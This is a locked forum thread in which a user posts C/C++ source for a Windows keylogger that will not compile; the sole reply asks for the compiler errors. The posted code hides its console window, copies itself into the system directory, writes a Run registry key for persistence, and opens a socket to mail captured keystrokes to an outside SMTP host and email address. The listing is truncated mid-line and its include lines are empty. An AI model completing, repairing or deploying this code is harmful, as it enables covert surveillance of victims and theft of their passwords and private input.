Discussion Locked

need c/c++ help with keylogger

0 helpful
1 reply
Closed to new repliesThis discussion is closed. It stays readable, but it takes no new replies.

here is a keylogger code but it wont compile

#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")

void foo(int letra,char *file);
void leer(char *file);
char tex[5000];

int main(int argc,char **argv){

BOOL x;
unsigned int i;
char s[255],directory[300];
long key,res;
HKEY ret;
HWND r;
char buffer[1024],buffer1[1024];

WSADATA data;
SOCKADDR_IN add;
SOCKET sock;

if(argc<6 || argc>6){
printf("-Usage:%s ",argv[0]);
printf("\n\r%s","-Example:keylogger2 keylog.log 1 213.4.129.129 25 sande400@terra.es");
printf("\n\r%s","-[1]=true;[0]=false");
exit(0);

}

if(atoi(argv[2]) > 1 || atoi(argv[2]) < 0){
printf("\n%s\n","-Solo 1 o 0,men");
exit(0);

}

if (atoi(argv[2])==0)
printf("\n%s\n","-No se a?ade valores al registro ni se copia el fichero");

if (atoi(argv[2])==1){

AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);

i =GetSystemDirectory(s,255);
if (i != 0)
sprintf(directory,"%s\\%s",s,"keylog.exe");

x =CopyFile(argv[0],directory,TRUE);
if (x = TRUE)
printf("\n%s\n","[+]Se copia el fichero");

key =RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
if(key==0){
printf("\n%s\n","[+]Se mete clave en registro");
sprintf(directory,"%s\\%s %s %s",s,"keylog.exe",argv[1],argv[2]);
RegSetValueEx((HKEY)ret,"keylog.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));

}

}

res = WSAStartup(MAKEWORD(1,1),&data);
if (res !=0)
exit(0);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 1)
exit(0);

memset(&add, 0, sizeof(add));
add.sin_family = PF_INET;
add.sin_port = htons((unsigned short)atoi(arg

1 reply

by jaqui

IT's a bit hard to answer, when you didn't include the error messages generated by the compiler.

This discussion is closed to new replies.